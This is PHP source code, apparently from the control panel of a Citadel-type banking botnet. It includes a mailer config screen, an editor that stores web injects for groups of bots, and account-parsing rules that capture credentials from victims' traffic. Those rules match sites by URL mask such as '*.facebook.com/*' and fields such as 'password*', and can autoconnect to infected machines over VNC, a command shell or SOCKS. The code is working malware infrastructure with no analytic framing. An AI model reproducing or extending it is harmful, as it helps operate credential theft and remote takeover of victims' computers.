function actionMailer() { if (isset($_POST['config'])) { $updateList = array('mailer' => array('master_email' => $_POST['config']['mailer']['master_email'], 'script_url' => $_POST['config']['mailer']['script_url'])); updateConfig($updateList) or print '<div class="failure">' . AJAX_CONFIG_SAVE_FAILED . '</div>'; } # Form echo '<form class="ajax_form_save" id="ajax-config-actionMailer" data-jlog-title="Mailer" action="?m=ajax_config&action=mailer" method=POST style="width: 500px; height: 300px;">', '<dl>', '<dt>', AJAX_CONFIG_MAILER_MASTER, '</dt>', '<dd><input type="text" name="config[mailer][master_email]" SIZE=50 /></dd>', '<dt>', AJAX_CONFIG_MAILER_SCRIPT, '</dt>', '<dd><input type="text" name="config[mailer][script_url]" SIZE=50 /></dd>', '</dl>', '<input type="submit" value="', AJAX_CONFIG_SAVE, '" />', '<input type="submit" id="mailer-script-check" data-ajax="?m=/svc_mailer/Ajax_Config_CheckScript" value="', AJAX_CONFIG_MAILER_CHECK, '" />', '<div id="mailer-script-check-results"></div>', '</form>'; # Pre-seed echo js_form_feeder('form#ajax-config-actionMailer', array('config[mailer][master_email]' => $GLOBALS['config']['mailer']['master_email'], 'config[mailer][script_url]' => $GLOBALS['config']['mailer']['script_url'])); echo '<script src="theme/js/page-ajax_config.js"></script>'; }
/** Edit inject * @param int $gid Group ID you work in * @param int $iid Inject ID | 0 to create a new one * @param array $inject The posted form * @param bool $remove Remove action flag * @throws AccessDeniedActionException * @throws NotFoundActionException */ function actionInjectEdit($gid, $iid = 0, $inject = array(), $remove = false) { $group = $this->_loadGroup($gid, empty($iid) ? null : $iid); # Permissions check if (empty($iid) && $group->perms == 'r') { throw new AccessDeniedActionException('You don\'t have enough permissions for the group'); } # Handle 'remove' if (!empty($remove)) { $this->db->query('DELETE FROM `botnet_webinjects` WHERE `iid`=:iid', array(':iid' => $iid)); $this->db->query('DELETE FROM `botnet_webinjects_bundle_members` WHERE `iid`=:iid', array(':iid' => $iid)); # Update the bundle $this->_updateBundle(null, $iid); return; } # Handle 'save' if (!empty($inject)) { if (!strlen(trim($inject['name']))) { $inject['name'] = date('d.m.Y H:i:s'); } # Store the inject $set_fields = ' `mtime`=:now, `state`=:state, `name`=:name, `descr`=:descr, `inject`=:inject '; $this->db->query('INSERT INTO `botnet_webinjects` SET `iid`=:iid, `gid`=:gid, `uid`=:uid, ' . $set_fields . ' ON DUPLICATE KEY UPDATE ' . $set_fields . ' ;', array(':iid' => empty($iid) ? null : $iid, ':gid' => $gid, ':uid' => $this->uid, ':now' => time(), ':state' => $inject['state'], ':name' => $inject['name'], ':descr' => $inject['descr'], ':inject' => $inject['inject'])); if (empty($inject['iid'])) { $iid = $inject['iid'] = $this->db->lastInsertId(); } else { $iid = $inject['iid']; } # Update the bundle $this->_updateBundle(null, $iid); # Redirect header('Location: ?' . mkuri('1', 'm', 'gid') . '&iid=' . $inject['iid']); return; } # Load the design $grouplink = ' :: <a href="?m=botnet_webinjects/injects&' . mkuri(1, 'gid') . '">' . htmlentities($group->name) . '</a>'; ThemeBegin(LNG_MM_BOTNET_WEBINJECTS . $grouplink, 0, getBotJsMenu('botmenu'), 0); echo $this->_assets(); # Fetch the data if ($iid == 0) { $inject = (object) array('state' => 'off', 'name' => '', 'descr' => '', 'inject' => ''); } else { $inject = $this->db->query('SELECT * FROM `botnet_webinjects` WHERE `gid`=:gid AND `iid`=:iid ;', array(':iid' => $iid, ':gid' => $group->gid))->fetchObject(); if (!$inject) { throw new NotFoundActionException('Inject not found'); } } # Display the form echo '<form action="?', mkuri(1, 'm', 'iid', 'gid'), '" method="POST" id="inject-edit" class="w100" >', '<dl>', '<dt>', LNG_INJECT_EDIT_INJECT_NAME, '</dt>', '<dd>', '<input type="text" name="inject[name]" />', '</dd>', '<dt>', LNG_INJECT_EDIT_INJECT_DESCR, '</dt>', '<dd>', '<textarea rows="5" cols="60" name="inject[descr]"></textarea>', '</dd>', '<dt>', LNG_INJECT_EDIT_INJECT_STATE, '</dt>', '<dd>', '<input type="hidden" name="inject[state]" value="off"><label><input type="checkbox" name="inject[state]" value="on"> ', LNG_INJECT_EDIT_INJECT_STATE_ENABLED, '</label>', '</dd>', '<dt>', LNG_INJECT_EDIT_INJECT_CODE, '</dt>', '<dd>', '<textarea rows="30" cols="60" name="inject[inject]" id="inject-edit-code"></textarea>', '</dd>', '</dl>', '<input type="submit" value="', LNG_GROUP_EDIT_GROUP_SAVE, '" />', '</form>'; echo js_form_feeder('form#inject-edit', array('inject[name]' => $inject->name, 'inject[descr]' => $inject->descr, 'inject[state]' => $inject->state, 'inject[inject]' => $inject->inject)); echo <<<HTML \t\t<script type="text/javascript" src="theme/js/CodeMirror-2.3/lib/codemirror.js"></script> \t\t<script type="text/javascript" src="theme/js/CodeMirror-2.3/lib/util/foldcode.js"></script> \t\t<script type="text/javascript" src="theme/js/CodeMirror-2.3/lib/util/closetag.js"></script> \t\t<script type="text/javascript" src="theme/js/CodeMirror-2.3/lib/util/overlay.js"></script> \t\t<script type="text/javascript" src="theme/js/CodeMirror-2.3/lib/util/multiplex.js"></script> \t\t<link rel="stylesheet" type="text/css" href="theme/js/CodeMirror-2.3/lib/codemirror.css" media="all"> \t\t<link rel="stylesheet" type="text/css" href="theme/js/CodeMirror-2.3/theme/neat.css" media="all"> \t\t<script type="text/javascript" src="theme/js/CodeMirror-2.3/mode/xml/xml.js"></script> \t\t<script type="text/javascript" src="theme/js/CodeMirror-2.3/mode/css/css.js"></script> \t\t<script type="text/javascript" src="theme/js/CodeMirror-2.3/mode/javascript/javascript.js"></script> \t\t<script type="text/javascript" src="theme/js/CodeMirror-2.3/mode/htmlmixed/htmlmixed.js"></script> \t\t<script type="text/javascript" src="theme/js/CodeMirror-2.3/mode/citadel-webinject/citadel-webinject.js"></script> \t\t<script> \t\t// Init CodeMirror \t\t\$(function(){ \t\t\tvar editor = \$('form#inject-edit textarea#inject-edit-code')[0]; \t\t\tvar cm_editor = CodeMirror.fromTextArea(editor, { \t\t\t\ttheme: 'default neat', \t\t\t\tmode: 'citadel-webinject', \t\t\t\tlineWrapping: true, \t\t\t\tlineNumbers: true, \t\t\t\tgutter: true, \t\t\t\tonGutterClick: CodeMirror.newFoldFunction(CodeMirror.tagRangeFinder), \t\t\t\textraKeys: { // closetag \t\t\t\t\t"'>'": function(cm) { cm.closeTag(cm, '>'); }, \t\t\t\t\t"'/'": function(cm) { cm.closeTag(cm, '/'); } \t\t\t\t} \t\t\t}); \t\t}); \t\t</script> \t\t<style> \t\t.CodeMirror { background: #FFF; } \t\t</style> HTML; ThemeEnd(); }
echo '<div class="failure">MySQL error: ', mysql_error(), '</div>'; } } # Defaults $data = array('id' => null, 'alias' => '', 'url' => '', 'params' => '', 'enabled' => 1, 'notify' => 0, 'autoconnect' => 0); if (!empty($_GET['id'])) { $data['id'] = (int) $_GET['id']; } # Fetch data if (!is_null($data['id'])) { $R = mysql_query("SELECT * FROM `accparse_rules` WHERE `id`={$data['id']};"); $data = mysql_fetch_assoc($R); } # Form echo '<form action="?m=reports_accparse&ajax=rule&id=', $data['id'], '" id="accparse_rule" class="ajax_form_save" data-jlog-title="' . LNG_ACCPARSE_CFG_URLRULES . ': ' . $data['alias'] . '" method="POST">', '<dl>', '<dt>', LNG_ACCPARSE_CFG_URLRULE_ALIAS, '</dt>', '<dd><input type="text" name="rule[alias]" /></dd>', '<dt>', LNG_ACCPARSE_CFG_URLRULE_URLMASK, '</dt>', '<dd><input type="text" name="rule[url]" placeholder="*.facebook.com/*" />', '</dd>', '<dt>', LNG_ACCPARSE_CFG_URLRULE_PARAMS, '</dt>', '<dd>', '<textarea name="rule[params]" rows=5 placeholder="password*"/></textarea>', '<div class="hint">', LNG_ACCPARSE_CFG_URLRULE_PARAMS_HINT, '</div>', '</dd>', '<dt>', '<input type="hidden" name="rule[enabled]" value="0" />', '<label><input type="checkbox" name="rule[enabled]" value="1" /> ', LNG_ACCPARSE_CFG_URLRULE_ENABLED, '</label></dt>', '<dt>', '<input type="hidden" name="rule[notify]" value="0" />', '<label><input type="checkbox" name="rule[notify]" value="1" /> ', LNG_ACCPARSE_CFG_URLRULE_NOTIFY, '</label></dt>', VNC_PLUGIN_INSTALLED ? '<dt>' . LNG_ACCPARSE_CFG_URLRULE_AUTOCONNECT . '</dt>' . '<dd><ul class="radio">' . '<li><label><input type="radio" name="rule[autoconnect]" value="0" /> No</label>' . '<li><label><input type="radio" name="rule[autoconnect]" value="1" /> VNC</label>' . '<li><label><input type="radio" name="rule[autoconnect]" value="2" /> CMD</label>' . '<li><label><input type="radio" name="rule[autoconnect]" value="5" /> SOCKS</label>' . '</ul></dd>' : '<input type="hidden" name="rule[autoconnect]" value="0" />', '</dl>', '<input type="submit" value="', LNG_ACCPARSE_CFG_URLRULE_SAVE, '" />', '</form>'; echo js_form_feeder('form#accparse_rule', array('rule[alias]' => $data['alias'], 'rule[url]' => $data['url'], 'rule[params]' => $data['params'], 'rule[enabled]' => $data['enabled'], 'rule[notify]' => $data['notify'], 'rule[autoconnect]' => $data['autoconnect'])); break; case 'enable': $q = mkquery('UPDATE `accparse_rules` SET `enabled`=1 WHERE `id`={i:id};', $_REQUEST); mysql_query($q); break; case 'disable': $q = mkquery('UPDATE `accparse_rules` SET `enabled`=0 WHERE `id`={i:id};', $_REQUEST); mysql_query($q); break; case 'remove': $q = mkquery('DELETE FROM `accparse_rules` WHERE `id`={i:id};', $_REQUEST); mysql_query($q); break; # Accounts # Accounts